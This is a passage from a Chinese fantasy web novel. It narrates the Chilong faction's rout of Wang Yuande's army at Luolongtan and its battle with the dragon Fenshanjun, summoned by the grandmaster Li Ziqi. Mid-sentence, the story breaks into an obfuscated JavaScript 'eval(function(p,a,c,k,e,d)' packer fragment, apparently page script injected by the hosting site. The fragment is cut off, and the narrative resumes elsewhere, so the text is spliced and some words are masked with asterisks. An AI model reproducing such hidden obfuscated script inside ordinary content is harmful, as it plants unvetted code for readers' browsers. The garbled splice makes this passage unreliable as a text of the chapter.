便是雄伯南自己,话说完后也有些黯然,因为相较于当日的几人,徐大郎留在邺城主持日常军务倒也罢了,可李枢不明不白的跑了,却既让他愤怒,又让他有些黯然于这种聚散离合……何况将来或许还有生死无常呢! 而转念一想,从少年在河北厮混,到修为日增开始反抗大魏朝廷,再到眼下加入黜龙帮,渐成天下强梁,中间多少故人兄弟或死或亡,或离或叛? 难道就为此不讲义气了吗? 秦宝也在想类似的事情,这次回到三哥身边,便听到他说,所谓天命点选的机巧,不在于说什么真气开锁、修为法门,而在于当日他背着尸首回到登州,上来便遇到自己……当时想着还有些疑惑,可此时想起河畔相逢的人和事,却是真切信了。 然而,当日河堤相逢后,自己便一直随行这二位,真到了天翻地覆的时候,反而动摇,这到底是为什么? 是自己从张三哥的暗示中察觉到了所谓宿命,意识到了自己可能只是一个映射,所以想要反抗?还是单纯的被世俗裹挟住,反而证明了自己只是个寻常的软弱之辈? 白有思同样在想类似的事情,她先想的是萍水相逢遇到张行,鬼使神差跟着他去了趟红山,从此乱了此生展望……但转念一想,若是齐王传的话为真,似乎自家此生注定不是原本的展望……然后便也想到了当日河堤相聚之事,却也感慨,当日到了河堤的钱唐就在身后几十步的距离,胡彦虽成陌路却也听说还在东都做官,却是没到河堤的李清臣这般轻易**,难道果然有些说法? 同样转念一想,当日相见何止是几人?徐大郎船上许多家丁,自家队伍中许多锦衣骑士,如今安在哉? 自家身侧故旧,又到底有多少尚在人世? 昔年大魏全盛,天下人口数千万,据说算上东夷、计量巫族逼近万万,不过区区数年,如今又剩多少?彼时见到张行**,五条人命尚算大案,如今自己带回来**万俘虏,光是路上病死的又有多少?这一段落龙滩路上又会有多少人无辜而死?又有谁能顾忌? 一念至此,白有思不由又觉得这天道不公起来,便是至尊也失了些体面——天下大乱,兵戈不休,想重新收拾起来已经很难了,甚至不少人都觉得可能收拾不起来,祂们还要非得掺一手。 至于张行张首席,此时所想大概与其他人也类似,而除此之外,他倒是难得的回想起了分山君的模样,那个虎首、鹿角、蛇身、鹰爪、鸟尾的模样,而且细细品味,似乎要刻印在心里一般。 还有跟在旗帜后面的曹铭与钱唐二人,也算是半个当事人,虽然没有插嘴,此时却同样是回想起了当年往事,感慨起了如今的物是人非。 不过,停了片刻,白有思最先警醒,立即扬声来笑问:“诸位,如何全都不说话?莫非都与我一般在回忆过往?人人心血来潮?” 众人各自一惊,在场至少两个至尊点选,三位形态各异的宗师,一个修行奇才,如何不晓得修行之人的心血来潮素来是有说法的? 但未及讨论,便见到数骑疾驰而来,直趋旗下,然后为马围所领参谋所阻,也是各自肃然。 很快,马围也亲自并马过来,告知军情:“首席,东夷人两军齐出。” “意料之中。”张行也警醒起来。“有什么地方不对路吗?” “有。”马围严肃告知。“东夷人动的太晚了,而且行动缓慢……若是照这么下去,咱们很有可能抢在他们会师前就闯过去。” “这是好事吧?”张行想了一想,继续认真来问。“你们有什么想法吗?” “确实有个不算方案的想法。”马围即刻给出了一个选择。“还是之前的思路,不从中间冲,往北走,还是去打王元德!一鼓作气,先打垮打崩一路敌人,便好走了!” “有些冒险。”张行若有所思。 “是。”马围恳切道。“但如果不做反应,继续这么西进,风险也不小……很可能是冲过去了,却被东夷人从两侧咬住尾巴,打成烂仗。” “天王和白总管觉得如何?”张行回头来问身侧两个地位最高的人,也是队伍中实际上两名副帅。 “不如先打过去。”雄伯南直接给出了明确意见。 “我也同意,风险无外乎是没打垮王元德,郦子期的部众过来了……至于郦子期本人肯定会支援的……而若是这般,与正面突破遭遇的风险其实类似,与其如此,不如把局势握在自家手里。”白有思也没有犹豫就表达了赞同。 “那就转向,往王元德那里扑。”张行点点头,转向马围。“但要从容一些,先引导前锋转向,同时让各营传达上下,告知王元德在前方阻拦,等再靠近一些,再猛扑出去……樊豹、樊梨花为先锋,刘黑榥、苏靖方绕侧,王五郎做前军指挥,徐师仁做副指挥。” “晓得,安抚住部队,同时打东夷人一个措手不及。”马围得令,却没有直接离开。 而张行也知道原委,复又看向身侧几位:“天王、白总管,这一次你们二人稍歇,随几位金刚在后军做防备……王元德那里没有像样的高手,我带着程大郎与秦二郎,还有……钱唐去破阵便可。” 雄伯南有些犹豫,但也晓得自己其实更擅长防守和捕杀逃将,冲阵这事未必在行,便看向白有思。 白有思倒是晓得东夷人这个落龙滩南北营的实力,也晓得此行真正的要害,便直接颔首:“三……首席小心便是,便是真有什么埋伏,我跟天王再跟上。” 张行点点头,最后落在大旗后的一人身上,远远提醒:“曹三郎,上次分山君是你放出来的,之前郦子期又专门问你的下落,怕是有些关碍,这一次你不要去作战,也不要留在大旗下,去程名起营中待着,不要乱走乱动。” 曹铭等到对方说到分山君才晓得曹三郎是自己,赶紧点头,然后直接打马而走……走到这里,他根本没有半点多余心思,就是想早点到河北见到自己老娘跟儿子,自然乐得如此。 张行没有去理会此人,继续来问:“张十娘在何处?” “十娘没有管军,自然是在她徒弟樊梨花营中。”还是白有思来答。 “那就正好了。”张行这才回身对马围下达了最后的命令。“让张十娘随樊梨花营一起突击,全军除了后军芒金刚以下三营,其余全部都听王五郎和徐大头领的指挥,我这里也是,他们俩让什么时候出击就出击。” 马围这才打马而去。 大旗下,虽有些讨论,却都是在马上不停,只是片刻而已,部队便已经更改了军事计划。 又过了一刻钟而已,原本还在因为贾务根被俘事件而争吵的樊豹樊梨花兄妹便接到军令,张十娘也赶紧从什么儿女婚事上收了心,两营部队立即从全军侧翼偏移出来,朝着王元德部开始提速。 紧接着是刘黑榥、苏靖方两营,吃一堑长一智刘黑榥放弃了骑兵奔袭战术,与苏靖方合成一军,步骑混合结阵,也开始有意识的往西北面脱离主力军阵。 随着四个营分两路别动而走,部队也开始在排头部队的引导下渐渐转向,全军上下也很快就得到了通知——东夷王族的一个大将为了跟那位大都督争功,居然只率领三万人抢在东夷大都督之前来到了前方路上,试图阻拦全军返回登州,要所有人准备作战。 消息传下,原本就士气良好的部队居然踊跃起来,全军都开始提速。 另一边,王元德及其所带领的落龙滩北大营部队原本就行动缓慢,等他们意识到黜龙军忽然向自己这边扑来以后更是有一些明显有些迟疑和动摇。 但也仅仅是片刻而已。 “大将军!” 一名披着披风的疤脸大将勒马靠近王元德,明显有些不解。“黜龙军兵强将强,应该速速转向避让才对,如何迟疑?” “你不懂。”一身金甲却戴着银冠的王元德明显有些无力。“这一战非同小可……事关咱们东胜国国运……我不敢让。” “那就该迎头而上。”疤脸将官肃然以对。 王元德沉默了一下,稍作更正:“不是之前三征时那种稍有不慎便**灭种的国运,而是反过来进取的国运。” “那也该迎头而上。”疤脸将官这一次稍作迟疑,但还是坚定了立场。“大将军……莫忘了,你自姓王,东胜国国运兴衰,你得利失利最大,别人犹疑还有情可原,你为何犹疑?” 听到这里,王元德明显精神一振,立即颔首:“说的好,要不是姜副帅提醒,我反而要误事的,你来指挥,咱们迎面扑上去!拼却性命也要拖住他们!” 就这样,王元德这里也选择主动迎战,而待其部完成转向,扑出去不过两三里,双方前锋便已经相遇……战斗比预想中来的要快得多。 不过,诚如王元德之前担心的一样,他的这支部队,不大可能是黜龙帮这支归师加精锐的对手,尤其是现在黜龙军中高手云集……这点从之前白有思击杀钱支德,击破南大营便可见一斑,从前几日那场遭遇战也能看出来。 实际上,双方前锋甫一交战,东夷人一方便败下阵来——樊豹指挥全军维系阵型,樊梨花率小股精锐骑士冲锋在前,而张十娘以半步宗师的修为藏身前锋中,待突击最深入的时候,突然发动,重伤对方主将,逼迫对方弃军而逃,东夷人前锋随即溃败。 而前锋刚一败退,东夷人的右翼又遭到突袭。 紧接着,被两支别动队夹住东夷人根本没有喘息的时间,在黜龙军主力部队排山倒海攻来之前,乃是黜龙帮首席张行亲自带领的那支白雾骑兵……这种修行者集中使用的小型军阵屡见不鲜,常常能够在中小规模的战事中一锤定音,而随着张行张首席屡次以少见的寒冰真气为阵底发动此类军阵,却是早已经有了响亮名号——不是寒冰阵,是踏白骑。 立在一处高地上的王元德看着这一幕,只觉得口干舌燥。 他晓得对方军势比自家强,晓得自家前锋必败,但没想到对方会那么强,前锋败的会那么快,但偏偏已经来不及继续调整了,只能目视那支三日前轻松穿插了东胜国最强军的骑兵自远处直奔自家被两面夹住的中军而来。 这里面很可能有三位以上的宗师级别高手! 一瞬间,王元德觉得自己该撤了,但是扫视了一下局面后却又觉得荒唐,因为主力部队根本没有遭受重大损失,甚至还没有接战。 不是说要为东胜国的国运大局尽力而为吗? “大将军速退!”疤脸将军再度打马而来,一如既往的坚决。 “尚未交战!”王元德无奈道。“我若是此时退了,全军便要崩溃!” “换铠甲,银冠与我!”疤脸将军直接取下自己头盔扔给对方,复又将对方银冠夺来。 “我走了,姜副帅如何自处?”王元德眼瞅着那股白雾已经逼近军前,依然抱着头盔不敢轻易离去。 “我如何自处没有关系,关键是能否拖住黜龙贼。”疤脸将军戴上银冠,抬手指了一指,然后赶紧去甲。“待会我直接迎上去,大将军趁机带着我的旗帜引兵往那边逃!” 王元德顺着对方所指,立即醒悟——原来,对方所指乃是侧后方一处水洼,这是要他王大将军引一部分部队进入大家避着走的沼泽水洼,借着地形拖住对方。 有了说法,王元德倒也干脆,其人一面戴上头盔开始脱甲,一面咬牙承诺:“姜副帅的恩义我绝不会忘,今日若能回去,不论阁下生死,我都会视姜氏为近亲!” 姜恩桓只是闷哼了一声……他才不是为了王元德如何呢,身为驻守落龙滩北大营的副帅,是谁的副帅?自然是郦子期的,劝对方留下和现在决心拼命也是为了报答大都督,相信大都督会及时赶到。只不过,对方身为王族年轻一代最出色、地位最高的大将,愿意承情当然更好。 二人仓促换了上身衣甲,便已经不敢继续折腾了,因为那股白雾已经冲到了军阵前。 于是乎,戴着银冠披着金甲的姜恩桓直接招呼了属于王元德的金蛙旗,随自己反向迎敌,而王元德也毫不犹豫带上了属于姜恩桓的黑罴旗,直接招呼直属部队往侧后方的水洼里蹚。 刚刚进入水洼,察觉到战马陷入淤泥,还没来得及高兴,便闻得身后齐齐一声喊,待回头去看,王元德便惊愕发现,那代表了自己皇族大将身份的金蛙旗居然在距离白雾尚有数丈远便已经倒下,取而代之的是一名高高跃起在半空中的高大黑甲骑士……那黑甲骑士手持**,胯下是一匹怪异大马,背后连接着灰白色真气,枪端却明显有电光跳跃,范围笼罩极大,远远望去宛若神明。 也是让王元德惊得浑身冰冷。 他真不是怕了这区区一人,若只有这一人,他反而会见猎心喜,上去试一试,而是委实怕了黜龙军这个深厚的实力和这种不要命的架势! 而就在立在烂泥中的他犹豫要不要连黑罴旗也扔下的时候,半空中一声龙吟,却让他如释重负。 不是龙来了,是大都督的水龙来了,一股海水凭空出现,宛若龙形,极速运动之下,更是产生了巨大的音量……且听龙吟的王元德心知肚明,郦子期能使出这般招数,是因为这位大都督的塔就在几十里外的海边,借此塔其人可平地兴风作浪,战阵上没少见……当然,也有不可靠传言说,郦子期本身是避海君后人,可借避海君的神通,因为风水二道皆是避海君的能耐。 但不管如何,支援也算及时,而且总算是见了真招。 郦子期既至,形势自然为之一变,但不能说是出乎预料,只能说是有些难以接受——黜龙军后军立即腾起一道金光与一道紫光,引着十余道白光就往水龙处袭来,而黜龙军各部只是稍作迟滞,就攻势如故! 踏白骑士依旧踩着白雾向前,最前方的黑甲电光骑士依旧在大杀四方,更要命的是,后方的黜龙军主力大阵在稍作迟滞之后,居然在大宗师与宗师的战场下方朝已经陷入败势的东胜军发动了总攻! 上方的大宗师的确在尽其所能,但王元德看的清楚,郦子期一面在防御白娘子的进攻,一面又被那面紫色大旗裹住,行动迟缓起来,与此同时,好不容易挤出一些心神和力量向下攻击,所成风卷和水龙却总被十几道结成网的白光给轻松切碎,散开在黜龙军头顶,复又被大旗一卷,彻底消失。 下方黜龙军每见如此,皆欢呼振奋,然后继续催动全军向前。 这个时候,下令将黑罴旗放下的王元德反而彻底冷静了下来——他没有再逃窜,因为他已经察觉黜龙军的动向了,再加上军势已经不可收拾,上方的争斗才是东胜国此番作为的真正落处,便干脆就立在烂泥中冷眼旁观,看事情走向。 果然,黜龙军踏白骑的白雾之中,一道赤红色的流光忽然落入,赫然是张十娘,其人既落下,便直接告知张行:“张三郎,那马分管让我告诉你,沿着水洼切过去,隔开两军,不要让咱们的人陷进去,趁此机会,全军往西奋力走吧!” 在对方通知过来之前,张行已经这么做了,此时更是应了一声,便催促秦宝归队,卷动军阵以作分割……而踏白骑这么一路踏下去,沿途冰霜仿佛在地上生生画出一道白线来,将黜龙帮主力与溃败的东夷军主力大略分开。 之所以说大略,乃是说樊氏兄妹的二营因为率先攻入敌阵,此时尚陷在其中,其余部队则已经在不许越过冰线的呼喊声中顺势往西去了。 “撤出去!往南撤!撤出去这一仗就算了结了!”樊豹立马在烂泥中,朝着自己下属奋力嘶吼。 几次整军后依然顽固存在的几百樊氏子弟兵也在奋力奔走,他们不止是在传令,而且还主动承担起解救被困同胞的作战任务。 而眼见着几个大的战团都被顺利救回,樊梨花也鼓动着真气跃马出来,心已经止不住乱跳的樊豹却是咬牙下达了一个不近人情的军令:“走!现在就走!不要管剩下零散几百人了!让他们自己跟上来!现在就走!” 不知道的,还以为是打了败仗。 “你先走!”樊梨花一声大吼,看似是在怒斥,却只是战场上杀戮之中的寻常状态。“郭三哥还在里面,他当年不顾一切护我去河北,我不能把他扔在全是烂泥和人骨头的落龙滩里!” 说完,便行打马折回阵中。 樊豹本想来劝,却晓得自己根本劝不动这个唯一的妹妹……当年劝不动她上战场,劝不动她离家,这几日劝不动她的婚姻,眼下自然也劝不动她去救郭三。 先将两营兵马送过,若她到时候不回来,自己拼却性命也要将她带回来就是。 一刻钟后,张行开始掉头回转,顺着来路那条白线继续奔驰切割,而这个时候,全军已经开始有节奏的欢呼了……因为谁也没想到,胜利来的那么快,那么直接,那么完全……王元德部被一个照面冲垮,黜龙军主力却完全没有被粘黏住,大宗师来了,却被帮里预备好的高手给防的水泄不通,而此时,东夷人另一支更强的兵马,却还没有抵达战场! 剩下的事情,就是往西走便是! “首席!落龙滩的事情成了!谁也不能拦着咱们回去了!”马围面色绯红,驻马在冰霜分界线的南侧,等到雾气涌来,便立即放声大喊。 “做得好!”等到白雾过去,程大郎方才出阵回身过来,远远便告知马围。“马分管,首席让你与王五郎一起组织主力过去,不用顾忌太多细处了,速速西归,待会我们再维系军阵送回来一趟,就停下断后!” 马围欣喜异常,应了一声,便有些颤抖着挽了一下马缰,带着几名参军离去。 而待张行带领着踏白骑折回战线东端,复又折向西面时,则明显放缓了速度,而且与后军相联结,几乎是推着大部分黜龙军主力往西走。 头顶上,那位大宗师虽然尽力往西来,却始终难以越过后军。 而待这条线越过了水洼,算是脱离了东夷军部众时,便是张行也散了军阵……这个时候,已经脱战的黜龙军主力欢声动地,全然不可抑制,水洼里的东夷军也都恍然失神,这使得极少数尚未脱战的黜龙军军士得到了机会,开始尽全力逃脱。 与此同时,张行也将注意力放在了这些人身上,当之前结成小型真气军阵后,真气散开,联结天地时他的感官进入到了一种奇妙的状态,以至于他清楚的察觉到还有一名自己一方修为较高的将领在水洼里救人,而随着樊豹越过那条线又折回水洼,张十娘也紧随其后,却是毫无疑问,应该就是樊氏兄妹加张十娘尚在彼处了。 “程大郎、秦二,后军已动,你们俩去把那一彪人接应过来,咱们也可以走了。”张行以手指之。 “不去。”秦宝抢在程知理之前强硬拒绝。“来之前王五郎通过雄天王有言语,不许我离你百步,也不许轻易解散这支精锐骑兵。” 张行一愣,也是无奈,而程知理更是趁势横槊立马,昂头挺胸,一副我亦如此的样子。 不过,事实证明,秦宝的坚持似乎是有意义的,因为就在下一刻,头顶上的那位大宗师忽然穿破紫色帷幕,亲身直扑下来……下方诸将骇然一时,各自腾起真气,张行也赶紧试图重新结阵。 好像是十三金刚的功劳,匆匆自后军扑出来的十三金刚在莽金刚的带领下仓促铺陈成网,竟吓得郦子期在空中明显一翻,以作躲闪。 也就是这个功夫,下方真气军阵,仓促联结。 而郦子期也终于再度下扑,却是不顾身后白有思一剑飞来,直接往下接上了张行手持弯刀的奋力一扬。 待郦子期的手“握”住扬起的这股寒冰真气,没由来的,真气储量绝对充足张行居然反过来莫名打了个寒颤……然而便察觉整个军阵的真气都在晃动失控,然后牵引着自己丹田的真气海往地下钻去。 这一钻,张行与其部众周边数百上千步,全都猝然结冰结冻,说不清是寒气还是真气自他本人周边往四周翻腾而去,带起雾化的水汽具象化了一个烟圈向四面八方散开。 秦宝先一步跃起,本意要借军阵的真气来挑上空的大宗师,虽然借着斑点瘤子兽的夸张弹跳力高高跃起,电光也闪过,却好像跟军阵脱节了一般,居然无法借力,只是他一人一马一枪的能耐罢了,自然也只是稍微用真气够到对方脚底而已。 好在白有思此时一剑飞来,直刺到郦子期身后脖颈,而这位大都督凌空一转,努力闪过,却还是被削去了半个武士小冠,一时间披头散发,好不狼狈。 但郦子期凌然不惧,反而失笑:“白娘子的剑磨的真够利!好!好!好!” 白有思心中一动,未及开口,那郦子期又往下来看:“张首席,刚刚那一次不算,你等一下,咱们再试试。” 说着,其人一手凌空伸出,向南面海边抓去,下方周围所有有修为之人先是一怔,旋即面色大变,因为他们清楚近距离感觉到了一股强劲的长生真气释放出来,几乎一人可当他们百十人结成军阵……这还不算,随着这股似乎直接通往海边那龙首楼船的真气涌出,沿途几十里范围,远的看不到,近处的龙卷却接连而起,大大小小十数,或聚或散,不一而足。 这还不算,这股近乎于天灾龙卷一般的真气涌动似乎还在越来越强,似乎直接搅动了远处大海一般……黜龙帮的高手们不是没见过大宗师,甚至他们本身就是宗师乃至不是寻常宗师,此时都觉得匪夷所思。 因为这股力量根本不是简单的三个宗师等于一个大宗师那么简单。 慌乱之中,雄伯南紫色大旗当头卷下,尚未近郦子期那凌乱的头发,便居然被那股隔空涌动的真气给卷了过去,给原本一色的长生真气与风水龙卷杂流抹了一道紫色外罩。 而目送着这道紫色迅速循着那股真气卷向海天之处,复又极速折回,半空中的白有思忍不住低头看了一眼张行,手中长剑也意外的没有再动。 已经猜到什么的张行心乱如麻,却也点点头,然后回头与地上众人来言:“真龙要来了,待会看祂拦不拦我们,若是阻拦咱们奋力一击,一击之后,就四散而走!” 程大郎和秦宝以下,包括此时逃过来的张十娘、樊氏兄妹,全都有些惊愕失色。 猜测归猜测,知道归知道,可听到这句话,还是让他们感到愕然与不安,甚至是怀疑。 不过最后一个怀疑立即消失了,因为就在这个时候,那股真气波动明显减弱,取而代之的是南面海天之处涌来的巨大海腥味以及隐隐可见的一层不知道算是海啸还是海浪的存在。 接着,是一声龙吟,是寥寥几匹龙驹之外的绝大部分战马,包括已经逃离此处战场的黜龙军和尚未抵达战场的郦子期直属青龙军的绝大部分牲畜,都开始失控,乃至于惊惶起来。 不说别处,只是事发的中心点那里,黜龙军那百十位精华骑士,也都任由马匹逃离真气军阵,因为很多人都吓傻了,少部分心智坚决之人努力严阵以待,也放弃了战马,而更远的黜龙军主力军势中,王叔勇以下,凝丹以上修为的诸将几乎全都放弃了已经混乱的部队和战马,然后都如流星一般全力赶来。 他们中有的人还不知道是龙,只是按照备用计划来做接应罢了。 便是素来豪气的雄伯南也赶紧落地,惊惶四顾,刚刚对方那一下,太过于匪夷所思了。 但奇怪的是,一切的中心点那里,张行和白有思这对夫妻,都明显有些古怪,白有思还落下来,骑在了那匹赤红马上,倒持倚天剑,似乎还在等着什么一般。 不远的水洼里,王元德望着这一幕,非但没有感觉到什么终于如此的样子,反而有些疑惑……? 当然,很快这种疑惑与坚定的等待就迅速结束了——披头散发郦子期单手唤来真龙避海君,真气联结天海不断,面色早已经发白,却不管不顾,在王叔勇、徐师仁这些将领抵达之前,复又以另一只手挥动真气往下方黜龙军的军阵中再度握去。 双方真气交汇,身为阵底的张行再度感觉到了之前那种失控的感觉,好像整个军阵的真气海都被对方拿捏住,然后整个往下方落龙滩地下刺去一般。 而与上一次不同的是,随着这一次真气失控倒灌地面,似乎是头顶大宗师另一只手牵引的避海君真气也掺杂其中的缘故,忽然间,张行察觉到自己的正西面,有一股巨量的真气正极速涌来……这还不算,随着那股真气涌到距离自己数十里的地方,自己丹田内似乎从来用不完的真气,也如决堤之水一般,与西面那股土黄色的真气极速接近,然后忽然连成一体。 接着,地动了。 张行身形一晃,已经了然——原来……或者说果然,正如他和白有思早就分析的那样,郦子期如果要唤真龙,那他真正想要唤醒的则一直是分山君,是阻碍他们进取中原的分山君!是可能会阻碍黜龙帮西进的分山君!而与此同时,是自己,而非曹铭;是黜龙帮,而非大魏,才是如今唤醒分山君的关键! 惊龙剑不过是个器具,是个放大器,关键是得天命而御东境、河北的人。 张行又晃了一晃,然后在周遭慌乱中与白有思一起沉默着抬头看向天上那位发须凌乱的大宗师,那位大宗师也忽然松了手,立在空中负手向西张望。 然而,此时的天海之间仿佛陷入停滞一般,周围人也迅速沉寂了下来……不是冷静下来,而是带着警惕与不安的沉默……又过了小半刻钟,王叔勇、徐师仁、王振这些人已经支援回来,西面的黜龙军已经重新启动,并在中级军官的催促下不顾阵型、不顾装备,加速向西逃窜了……可四周还是没有动静,许多人都以为自己刚才是幻听了。 但也就是此时,一南一北,南面海中,忽然波涛汹涌,北面山中,忽然地动山摇,两只宛若神话一般、形容古怪,但几乎所有人看到后都毫不怀疑得意识到,那是两条真龙的生物,各自腾空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后只在地上挪动,眼瞅着便要爬过来,扑杀这边胆大包天的凡人。 樊豹这些寻常头领,此时只有一个念头,那就是完蛋了,这个郦子期果然狠毒,借龙**!眼前这些人或许还有逃命希望,但按照分山君阻军西进的说法,身后的黜龙军呢?便是不管身后正在死命逃窜的军众,只当着当面的分山君,难道不要拼命吗? 念头反复旋转,众人心中俱皆冰凉。 但说时迟那时快,下一瞬间,随着对面的真龙扑近,一道宛若龙卷的真气忽然从空中旋过,披发的大宗师郦子期随手从战场上取下一柄寻常铁枪,身形如电,宛若离弦之箭一般,便迎着分山君往祂的一只眼睛方向刺去。 似乎是落下来耗费了许多真气,似乎是那颗印起了巨大作用,似乎是这条真龙小瞧了这些人,又似乎是只是单纯的没想到而已……那杆寻常铁枪,整个插入到了那只老虎面容上左侧的金色眼眸中! 战场上似乎停滞了片刻,所有人都不敢相信这一幕,还有人根本被风雨遮蔽看不到这一幕,却也察觉到了那种让人毛骨悚然的寂静。 可是,这些都只是错觉,没有什么停滞,仅仅是一个呼吸而已,便是巨大的嘶吼哀嚎声,是巨物翻滚动地声,是四面八方的回声! 白有思反应最快,其人长剑一出,蹬开赤红马,便也朝着失控的真龙凌空刺去,张行呼吸粗重,夹紧战马,紧随其后! 两人之后,是南侧远方海面上空一声不知道是愤怒还是惊喜,甚至有点像是哀恸的龙吟。 借此声音,秦宝跃马跟上,与前方张行几乎已经要脱离真气军阵的灰白色真气再度连结,紧接着是雄伯南与莽金刚为首的十三金刚,而宛若战场本能一般,王叔勇、刘黑榥、王振、王雄诞、钱唐、苏靖方、樊梨花各自腾起,紧随其后;樊豹、徐师仁、程知理、程名起、王伏贝、马平儿也跟着前面的人一起向前;最后是近乎于无奈的曹铭、高士通、李子达、曹晨等人,也都努力跟上,不敢断了相互之真气联结。 几乎可以说,除了阎庆、马围修为不行,不能赶来,黜龙帮有能之人,流光如虹,复又融入灰白真气之中,算是人人都随之出击刺龙了。 千里之外,涡河畔,立在涡河岸边的千金教主孙思远望着东面,怔怔出神,身形在秋风之中显得佝偻,他的身侧,来战儿仿佛巨人一般的身姿也有僵硬,明显有些焦躁,而两人身后,面积巨大的医院早已经有了规制,其中忙碌的寻常士民和伤病员根本没有半点不适,只是有如周行范这种大胆的人偶尔抬头看到孙思远的背影,有些奇怪为什么这位大宗师要立在河畔发呆罢了。 同样是千里之外,东都城内,司马正正在看着案上的一封文书,神色凝重,那是一封建议他迎娶大魏公主的“奏疏”,公主是曹彻的亲女儿,当日离开东都时还是个黄毛丫头,如今已经是婉婉少女了……然后,他忽然察觉到了什么,惊得往东去看,却什么都没看到,一时不安起来。 再往西去,关中,刚刚改回长安的西都城内,刚刚大胜巫族主力的白横秋正看着一封劝进表似笑非笑,忽然一个冷颤,然后居然本能望向了西南面的太白峰。 太白峰中,似乎瘦了不少的蓝衣老道士愁眉苦脸,将手中以木杆结成的小人偶再度抛出,却还是愁眉苦脸。 转向北面,顺着落龙滩往北,先是山,然后是海,然后又是山,是林,又是山……北地那宛若树叶一般的地形上,叶梗状的中央山脉最高峰中,算是最能为人所常见的真龙吞风君忽然一声长啸,引发寒风阵阵,卷动冰雪往山下滚去……对于北地而言,今年的冬天似乎恰好要到了。 顺着叶梗继续往北走,听涛城内,一名四十余岁的宫装妇人忽然从出神中抬起头来,然后捂胸四顾,似乎是被吞风君那一声龙吼惊吓到一般,引得一旁侍卫的李清洲与前方正在汇报什么的宇文万筹各自惊愕。 听涛城往西北面,黑松卫的聚居点,一名头发花白的黑衣瘦削者正在雕刻什么东西,忽然也抬起头来,却又在某种冷笑中重新低头雕刻起来。 倒是听涛城的东南侧,黑水源头处,一座满是石刻的山中,明亮的大堂内,作为北地修为最高的人,一名披着黑氅的黑胖黑衣老者好像对一切都闻所未闻一般,继续低头来看手中表格,时不时去问白狼卫新任司命黑延,以作求证。 北地往西,苦海一片寂静,毒漠以北也一片寂静,倒是毒漠的一处关口内,一行人中,在已经很寒冷的天气下,一名光着膀子满身刺青的老者抬起头来,只是看一看,便继续低头骑驴赶路。 最后是南面,南岭之中,一座算是富丽堂皇的山城内堂里,一名已经极为衰老的老妇人张开眼睛,弹了弹身上的蓝染布衣,似乎是有灰尘一般,然后瞥了眼刚刚正在激烈争论什么此时看到自己醒来各自肃然的儿孙们,便重新躺下,似乎是想继续假寐,却怎么都闭不上眼了。 回到落龙滩,谁也不知道到底是郦子期一**入真龙左眼,还是真龙疼痛之下的怒吼,又或者是张行等人的奋力一扑,引发了几乎整个天下的强者心血来潮……好像也没必要计较这些。 因为这个时候,白有思、张行,以及张行身后的黜龙帮精华们,只有一个念头,那就是用尽全力刺过去,然后撑一撑时间,寻机离开落龙滩。 白有思是锋刃,她的长剑也最先到,趁着郦子期在分山君右眼上空盘旋的空挡,便往分山君那巨大的虎首下巴处刺去。 真气凝实,丝毫不散,双目流金,长剑如电,居然轻松切入对方皮肉,然后往颌骨处切入。 但也仅仅如此,便已经艰难,再难切下。 而反应过来的分山君再度怒吼,鹰爪扫过,逼的白有思狼狈后跳。 “白娘子,半刻钟而已,地气复聚于龙身,咱们便没这个机会了。”片刻而已,郦子期仿佛老了十几岁,声音也沙哑了不少,却能透过分山君的嘶吼传入众人耳中。 张行闻言大笑:“若是这般反而不必计较了……诸君,咱们借力与三娘,奋力刺祂三剑,然后各自逃窜,登州再见!如何?” 黜龙帮诸人多在张行身后以真气联结,也能听得清楚,纷纷呼喝起来。 刘黑榥更是大吼:“便杀了此龙,让黜龙帮名副其实!天下谁还敢昂首相对咱们?!” 更有一人,早自旁边水洼中腾来,不知藏在何处,此时闻言也是大喊:“是非敌我,将来再说,我王元德不能坐视尔等替我东胜国成此大事,且由我来!” 不少人此时已经适应过来,闻言冷笑不止,刘黑榥更想要嘲讽。 孰料,张行掌控军阵熟稔,早已经掀开阵脚,将王元德裹了进来,刘黑榥更是张口就改口:“虽是个废物夷人,到底有两个不怕死的好汉!且寄汝头!” 话音刚落,军阵也是刚刚集合完毕,那边分山君已经侧身,三叉尾羽当面扫来,更有数支细羽如矛如槊,直直射来。 众人不敢耽误,各自凛然,负责持剑的白有思纹丝不动,临到跟前,却是一直闷不吭声提供了巨大的帮助的十三金刚自阵中跃起,白网扑起,便将尾羽切断。 而白有思这才突然启动,真气源源不断,从身后张行处接过,而张行处则抽动帮内精英之真气海,越过己身丹田,再奋力将前方白有思送了上去。 白有思凌空而起,距离张行数十丈而真气不断,却也不刺,而是待尾羽扫来忽然转身切下。 三叉尾羽中的一根,被当空斩断,一时龙血激出,喷洒于地,也当头浇向了白有思,却居然染了白有思半身赤血。 分山君到了此时,明显有些一些清醒,居然没有嚎叫嘶吼,而是身都不转,后爪往黜龙帮军阵方向奋力一蹬……这一蹬,已经隐隐然有了一些真气风动。 很显然,祂在恢复。 还是十三金刚,他们奋力往前一挡,却被当场隔空蹬回,不能半空立足。 而雄伯南此时咬紧牙关,不顾之前与郦子期对决时受伤,奋力卷动大旗,黜字旗凭空而长,大了不知道多少,然后借着所有人得真气,将那只巨大鹰爪从中间裹起。 半身浴血白有思喘息得当,再度跃出,狠狠朝着分山君被裹住的鹰爪下部斩去,居然再断其一趾。 鹰爪本能收缩挣扎,却不料旗上的“黜”字忽然白光阵阵,将鹰爪紧紧束缚,秦宝在旁看的真切,挥舞其铁锏,带起无数电光,狠狠朝着那根断趾的鹰爪伤口砸去,而一砸之下,引得前方还在对付郦子期的分山君整条龙剧痛之下失衡,当场扑倒在了落龙滩上。 机不可失,白有思回头来看张行:“三郎,你我尽知,今日不是你黜龙的时候,但却是我白有思斩破天人勾连的时候,今日我无论如何都得让这分山君痛彻心扉,记住我白有思,也请你务必助我一臂之力。” 说完,不待答复,便径直向前跃去。张行在内,能跟上的都努力跟上,竟然全都不管不顾,踏着分山君那是满是污泥血渍的黄铜色鳞甲往前走去跟上。 白有思速度快,冲到前方,朝着对方下巴下方落下去。 分山君虽然狼狈至此,犹然本能警惕,奋力昂起头来,以作躲闪。 原本就刺破的下巴伤口血水龙涎混杂滴落不停,白三娘也丝毫不停,乃是奋起全身力气,高高腾起,并将自己手中那柄从金鳌城一路磨砺到落龙滩的倚天剑竖直举起,径直刺入虎首下颌。 